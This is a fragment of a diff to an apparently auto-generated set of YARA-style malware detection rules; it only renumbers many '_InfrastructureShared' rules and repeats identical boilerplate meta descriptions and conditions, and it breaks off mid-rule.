rule _InfrastructureShared_486{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_487{ +rule _InfrastructureShared_490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5520,7 +5573,7 @@ rule _InfrastructureShared_487{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_488{ +rule _InfrastructureShared_491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5530,7 +5583,7 @@ rule _InfrastructureShared_488{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_489{ +rule _InfrastructureShared_492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5540,7 +5593,7 @@ rule _InfrastructureShared_489{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_490{ +rule _InfrastructureShared_493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5550,7 +5603,7 @@ rule _InfrastructureShared_490{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_491{ +rule _InfrastructureShared_494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5560,7 +5613,7 @@ rule _InfrastructureShared_491{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_492{ +rule _InfrastructureShared_495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5570,7 +5623,7 @@ rule _InfrastructureShared_492{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_493{ +rule _InfrastructureShared_496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5580,7 +5633,7 @@ rule _InfrastructureShared_493{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_494{ +rule _InfrastructureShared_497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5590,7 +5643,7 @@ rule _InfrastructureShared_494{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_495{ +rule _InfrastructureShared_498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5600,7 +5653,7 @@ rule _InfrastructureShared_495{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_496{ +rule _InfrastructureShared_499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5610,7 +5663,7 @@ rule _InfrastructureShared_496{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_497{ +rule _InfrastructureShared_500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5620,7 +5673,7 @@ rule _InfrastructureShared_497{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_498{ +rule _InfrastructureShared_501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5630,7 +5683,7 @@ rule _InfrastructureShared_498{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_499{ +rule _InfrastructureShared_502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5640,7 +5693,7 @@ rule _InfrastructureShared_499{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_500{ +rule _InfrastructureShared_503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5650,7 +5703,7 @@ rule _InfrastructureShared_500{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_501{ +rule _InfrastructureShared_504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5660,7 +5713,7 @@ rule _InfrastructureShared_501{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_502{ +rule _InfrastructureShared_505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5670,7 +5723,7 @@ rule _InfrastructureShared_502{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_503{ +rule _InfrastructureShared_506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5680,7 +5733,7 @@ rule _InfrastructureShared_503{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_504{ +rule _InfrastructureShared_507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5690,7 +5743,7 @@ rule _InfrastructureShared_504{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_505{ +rule _InfrastructureShared_508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5700,7 +5753,7 @@ rule _InfrastructureShared_505{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_506{ +rule _InfrastructureShared_509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5710,7 +5763,7 @@ rule _InfrastructureShared_506{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_507{ +rule _InfrastructureShared_510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5720,7 +5773,7 @@ rule _InfrastructureShared_507{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_508{ +rule _InfrastructureShared_511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5730,7 +5783,7 @@ rule _InfrastructureShared_508{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_509{ +rule _InfrastructureShared_512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5740,7 +5793,7 @@ rule _InfrastructureShared_509{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_510{ +rule _InfrastructureShared_513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5750,7 +5803,7 @@ rule _InfrastructureShared_510{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_511{ +rule _InfrastructureShared_514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5760,7 +5813,7 @@ rule _InfrastructureShared_511{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_512{ +rule _InfrastructureShared_515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5770,7 +5823,7 @@ rule _InfrastructureShared_512{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_513{ +rule _InfrastructureShared_516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5780,7 +5833,7 @@ rule _InfrastructureShared_513{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_514{ +rule _InfrastructureShared_517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5790,7 +5843,7 @@ rule _InfrastructureShared_514{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_515{ +rule _InfrastructureShared_518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5800,7 +5853,7 @@ rule _InfrastructureShared_515{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_516{ +rule _InfrastructureShared_519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5810,7 +5863,7 @@ rule _InfrastructureShared_516{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_517{ +rule _InfrastructureShared_520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5820,7 +5873,7 @@ rule _InfrastructureShared_517{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_518{ +rule _InfrastructureShared_521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5830,7 +5883,7 @@ rule _InfrastructureShared_518{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_519{ +rule _InfrastructureShared_522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5840,7 +5893,7 @@ rule _InfrastructureShared_519{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_520{ +rule _InfrastructureShared_523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5850,7 +5903,7 @@ rule _InfrastructureShared_520{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_521{ +rule _InfrastructureShared_524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5860,7 +5913,7 @@ rule _InfrastructureShared_521{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_522{ +rule _InfrastructureShared_525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5870,7 +5923,7 @@ rule _InfrastructureShared_522{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_523{ +rule _InfrastructureShared_526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5880,7 +5933,7 @@ rule _InfrastructureShared_523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_524{ +rule _InfrastructureShared_527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5890,7 +5943,7 @@ rule _InfrastructureShared_524{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_525{ +rule _InfrastructureShared_528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5900,7 +5953,7 @@ rule _InfrastructureShared_525{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_526{ +rule _InfrastructureShared_529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5910,7 +5963,7 @@ rule _InfrastructureShared_526{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_527{ +rule _InfrastructureShared_530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5920,7 +5973,7 @@ rule _InfrastructureShared_527{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_528{ +rule _InfrastructureShared_531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5930,7 +5983,7 @@ rule _InfrastructureShared_528{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_529{ +rule _InfrastructureShared_532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5940,7 +5993,7 @@ rule _InfrastructureShared_529{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_530{ +rule _InfrastructureShared_533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5950,7 +6003,7 @@ rule _InfrastructureShared_530{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_531{ +rule _InfrastructureShared_534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5960,7 +6013,7 @@ rule _InfrastructureShared_531{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_532{ +rule _InfrastructureShared_535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5970,7 +6023,7 @@ rule _InfrastructureShared_532{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_533{ +rule _InfrastructureShared_536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5980,7 +6033,7 @@ rule _InfrastructureShared_533{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_534{ +rule _InfrastructureShared_537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -5990,7 +6043,7 @@ rule _InfrastructureShared_534{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_535{ +rule _InfrastructureShared_538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6000,7 +6053,7 @@ rule _InfrastructureShared_535{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_536{ +rule _InfrastructureShared_539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6010,7 +6063,7 @@ rule _InfrastructureShared_536{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_537{ +rule _InfrastructureShared_540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6020,7 +6073,7 @@ rule _InfrastructureShared_537{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_538{ +rule _InfrastructureShared_541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6030,7 +6083,7 @@ rule _InfrastructureShared_538{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_539{ +rule _InfrastructureShared_542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6040,7 +6093,7 @@ rule _InfrastructureShared_539{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_540{ +rule _InfrastructureShared_543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6050,7 +6103,7 @@ rule _InfrastructureShared_540{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_541{ +rule _InfrastructureShared_544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6060,7 +6113,7 @@ rule _InfrastructureShared_541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_542{ +rule _InfrastructureShared_545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6070,7 +6123,7 @@ rule _InfrastructureShared_542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_543{ +rule _InfrastructureShared_546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6080,7 +6133,7 @@ rule _InfrastructureShared_543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_544{ +rule _InfrastructureShared_547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6090,7 +6143,7 @@ rule _InfrastructureShared_544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_545{ +rule _InfrastructureShared_548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6100,7 +6153,7 @@ rule _InfrastructureShared_545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_546{ +rule _InfrastructureShared_549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6110,7 +6163,7 @@ rule _InfrastructureShared_546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_547{ +rule _InfrastructureShared_550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6120,7 +6173,7 @@ rule _InfrastructureShared_547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_548{ +rule _InfrastructureShared_551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6130,7 +6183,7 @@ rule _InfrastructureShared_548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_549{ +rule _InfrastructureShared_552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6140,7 +6193,7 @@ rule _InfrastructureShared_549{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_550{ +rule _InfrastructureShared_553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6150,7 +6203,7 @@ rule _InfrastructureShared_550{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_551{ +rule _InfrastructureShared_554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6160,7 +6213,7 @@ rule _InfrastructureShared_551{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_552{ +rule _InfrastructureShared_555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6170,7 +6223,7 @@ rule _InfrastructureShared_552{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_553{ +rule _InfrastructureShared_556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6180,7 +6233,7 @@ rule _InfrastructureShared_553{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_554{ +rule _InfrastructureShared_557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6190,7 +6243,7 @@ rule _InfrastructureShared_554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_555{ +rule _InfrastructureShared_558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6200,7 +6253,7 @@ rule _InfrastructureShared_555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_556{ +rule _InfrastructureShared_559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6210,7 +6263,7 @@ rule _InfrastructureShared_556{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_557{ +rule _InfrastructureShared_560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6220,7 +6273,7 @@ rule _InfrastructureShared_557{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_558{ +rule _InfrastructureShared_561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6230,7 +6283,7 @@ rule _InfrastructureShared_558{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_559{ +rule _InfrastructureShared_562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6240,7 +6293,7 @@ rule _InfrastructureShared_559{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_560{ +rule _InfrastructureShared_563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6250,7 +6303,7 @@ rule _InfrastructureShared_560{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_561{ +rule _InfrastructureShared_564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6260,7 +6313,7 @@ rule _InfrastructureShared_561{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_562{ +rule _InfrastructureShared_565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6270,7 +6323,7 @@ rule _InfrastructureShared_562{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_563{ +rule _InfrastructureShared_566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6280,7 +6333,7 @@ rule _InfrastructureShared_563{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_564{ +rule _InfrastructureShared_567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6290,7 +6343,7 @@ rule _InfrastructureShared_564{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_565{ +rule _InfrastructureShared_568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6300,7 +6353,7 @@ rule _InfrastructureShared_565{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_566{ +rule _InfrastructureShared_569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6310,7 +6363,7 @@ rule _InfrastructureShared_566{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_567{ +rule _InfrastructureShared_570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6320,7 +6373,7 @@ rule _InfrastructureShared_567{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_568{ +rule _InfrastructureShared_571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6330,7 +6383,7 @@ rule _InfrastructureShared_568{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_569{ +rule _InfrastructureShared_572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6340,7 +6393,7 @@ rule _InfrastructureShared_569{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_570{ +rule _InfrastructureShared_573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6350,7 +6403,7 @@ rule _InfrastructureShared_570{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_571{ +rule _InfrastructureShared_574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6360,7 +6413,7 @@ rule _InfrastructureShared_571{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_572{ +rule _InfrastructureShared_575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6370,7 +6423,7 @@ rule _InfrastructureShared_572{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_573{ +rule _InfrastructureShared_576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6380,7 +6433,7 @@ rule _InfrastructureShared_573{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_574{ +rule _InfrastructureShared_577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6390,7 +6443,7 @@ rule _InfrastructureShared_574{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_575{ +rule _InfrastructureShared_578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6400,7 +6453,7 @@ rule _InfrastructureShared_575{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_576{ +rule _InfrastructureShared_579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6410,7 +6463,7 @@ rule _InfrastructureShared_576{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_577{ +rule _InfrastructureShared_580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6420,7 +6473,7 @@ rule _InfrastructureShared_577{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_578{ +rule _InfrastructureShared_581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6430,7 +6483,7 @@ rule _InfrastructureShared_578{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_579{ +rule _InfrastructureShared_582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6440,7 +6493,7 @@ rule _InfrastructureShared_579{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_580{ +rule _InfrastructureShared_583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6450,7 +6503,7 @@ rule _InfrastructureShared_580{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_581{ +rule _InfrastructureShared_584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6460,7 +6513,7 @@ rule _InfrastructureShared_581{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_582{ +rule _InfrastructureShared_585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6470,7 +6523,7 @@ rule _InfrastructureShared_582{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_583{ +rule _InfrastructureShared_586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6480,7 +6533,7 @@ rule _InfrastructureShared_583{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_584{ +rule _InfrastructureShared_587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6490,7 +6543,7 @@ rule _InfrastructureShared_584{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_585{ +rule _InfrastructureShared_588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6500,7 +6553,7 @@ rule _InfrastructureShared_585{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_586{ +rule _InfrastructureShared_589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6510,7 +6563,7 @@ rule _InfrastructureShared_586{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_587{ +rule _InfrastructureShared_590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6520,7 +6573,7 @@ rule _InfrastructureShared_587{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_588{ +rule _InfrastructureShared_591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6530,7 +6583,7 @@ rule _InfrastructureShared_588{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_589{ +rule _InfrastructureShared_592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6540,7 +6593,7 @@ rule _InfrastructureShared_589{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_590{ +rule _InfrastructureShared_593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6550,7 +6603,7 @@ rule _InfrastructureShared_590{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_591{ +rule _InfrastructureShared_594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6560,7 +6613,7 @@ rule _InfrastructureShared_591{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_592{ +rule _InfrastructureShared_595{ meta: description = 